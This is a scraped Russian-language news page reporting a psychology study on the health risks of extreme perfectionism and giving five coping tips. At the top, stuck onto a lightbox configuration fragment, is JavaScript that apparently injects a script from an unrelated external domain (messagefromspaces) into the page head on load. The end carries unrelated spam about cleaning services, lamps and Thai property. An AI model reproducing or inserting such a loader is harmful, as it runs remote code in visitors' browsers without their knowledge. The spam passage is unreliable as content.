, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })
Сегодня: 23 июля, 2018 года
29 января, 2013 События

Крайний перфекционизм представляет угрозу для здоровья

Крайний перфекционизм представляет угрозу для здоровьяВы слишком многого требуете от себя и других? Берегитесь! Чрезмерная придирчивость плохо сказывается на здоровье.

Мысль о неудаче вызывает у вас тошноту? Вы ставите непомерные требования перед собой и другими людьми? Вы ожидаете слишком многого от коллег, друзей, супругов, детей? Если на любой из этих вопросов вы ответите утвердительно, тогда у вас «инфекция совершенства».

Исследование, проведенное Гордоном Флеттом, профессором психологии университета Йорк (Торонто, Канада), показывает, что крайний перфекционизм несет вред здоровью.

Это может привести к большому количеству эмоциональных, физических и коммуникативных проблем, включая высокий уровень стресса, депрессии, расстройства пищеварительных процессов, вспышки гнева и тревоги. Вы хотите найти выход из сложившейся ситуации? Тогда попробуйте следующие пять подсказок, которые помогут устранить перфекционистские привычки.

Попытайтесь полегче относиться к самому себе, устанавливайте более реалистичные цели. Если вам не удастся побить свой персональный рекорд во время обеденного заплыва в бассейне, действительно ли это будет иметь огромное влияние на всю остальную жизнь? Научитесь использовать вместо перфекционизма понятие здоровых достижений.

Научитесь «профессионализму, а не персонализму». Сконцентрируйтесь на том, чтобы быть более объективным, извлекать пользу из собственных ошибок. Признайте тот факт, что, как люди, мы не идеальны, и невозможно всегда быть совершенным.

Поймите, что совершение ошибок – нормальное явление в контексте рабочего процесса. Сосредоточьтесь на заданиях, которые ставит перед вами день насущный, не смотрите в прошлое.

Начните определять нездоровые мысли типа «все или ничего». Научитесь блокировать автоматические негативные мысли (АНМ). Спросите сами себя – есть ли альтернативный, более здоровый способ размышлений?

Установите строгие временные рамки для выполнения определенных заданий, минимизируйте откладывание дел. Например, если вы составляете рабочий план, выделите один час на сортировку данных, второй – на написание проекта.

Стандартный пакет услуг генеральной уборки включает в себя следующее. Стандартный пакет услуг генеральной уборки — включает в себя следующее.Светильникам для ванных комнат свойствено высокое качество и функциональность.Поиск сайтов по запросу: светильники для ванных комнат — распродажи сезонные. Результаты поиска по запросу: дом в Таиланде дешево — узнайте больше на web-ресурсе.

Перейти к комментариям [ 0 ]

Свежие статьи из категории: События